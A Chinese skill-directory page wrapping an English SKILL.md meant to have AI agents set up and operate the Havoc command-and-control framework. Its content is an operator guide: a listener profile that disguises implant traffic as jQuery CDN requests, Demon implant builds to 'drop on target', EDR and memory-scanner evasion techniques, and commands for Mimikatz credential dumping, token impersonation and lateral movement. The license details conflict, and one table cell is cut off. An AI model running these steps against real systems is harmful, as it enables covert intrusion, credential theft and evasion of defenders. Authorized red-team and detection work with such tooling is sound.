c2-havoc
它能做什么
本指南介绍一个用于经授权红队工作的开源指令框架。适用于需要搭建它的红队,以及希望识别其流量的防御者。
适用场景
- ✓当经授权的红队演练使用 Havoc,且必须了解其设置时。
- ✓当防守团队想了解 Havoc 的配置文件如何改变网络流量时。
- ✓当团队在经授权的演练中比较各种开源框架时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们正在为一次经授权的演练比较指令框架。能否解释 Havoc 应如何设置,以及它的流量是什么样子?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会说明团队服务器、客户端和配置文件设置,并建议演练期间监控应关注的内容。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Havoc C2 Operator Skill
Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.
Setup
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build
# Or run via Docker
docker compose up -d
Architecture
┌────────────┐ ┌─────────────┐ ┌──────────┐
│ Operator │ <───> │ Teamserver │ <───> │ Demon │
│ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│
└────────────┘ └─────────────┘ └──────────┘
- Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
- Client: Qt-based desktop UI (Material Dark).
- Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.
Configure a profile
Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "op-alice" { Password = "strongpassword" }
}
Listeners {
Http {
Name = "primary-http"
Hosts = ["op-server.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true
HostRotation = "round-robin"
Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic
Headers = ["X-Forwarded-For: 1.2.3.4"]
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
}
Then ./havoc server --profile profiles.yaotl -v.
Build a Demon
In the client UI:
- Attack → Payload → Demon
- Listener: select your HTTP listener
- Arch: x64 / x86
- Format: Windows Exe / Windows DLL / Shellcode
- Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
- Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
- Save → drop on target
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)
What makes Havoc's OPSEC strong
Sleep obfuscation (3 options)
- Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
- Zilean: timer-based variant.
- FOLIAGE: pure ROP chain, no Win32 timer dependency.
Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.
Indirect syscalls
Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.
Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.
No static strings
All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.
Module stomping
Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).
Common commands
> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap
> spawnas <user> <pass> <listener> # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host> # lateral movement
Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike
| Havoc | Sliver | Mythic | Cobalt Strike | |
|---|---|---|---|---|
| Sleep obfuscation | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) |
| Indirect syscalls | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) |
| OPSEC defaults | Strong | Fair | Per-agent | Excellent |
| Modern UI | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java |
| Cross-platform implant | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) |
| License | GPL OSS | GPL OSS | BSD OSS | Commerci |
常见问题
什么是 Havoc?
它是一个开源指令框架,包含操作人员客户端和团队服务器。
什么是配置文件?
它们是用于设定框架通信方式的配置文件。
它面向谁?
经授权的红队,以及监控他们的防御者。
详情
作者的原始描述
Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
热度
- GitHub 星标
- 6.5k
- 排名
- #14131
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …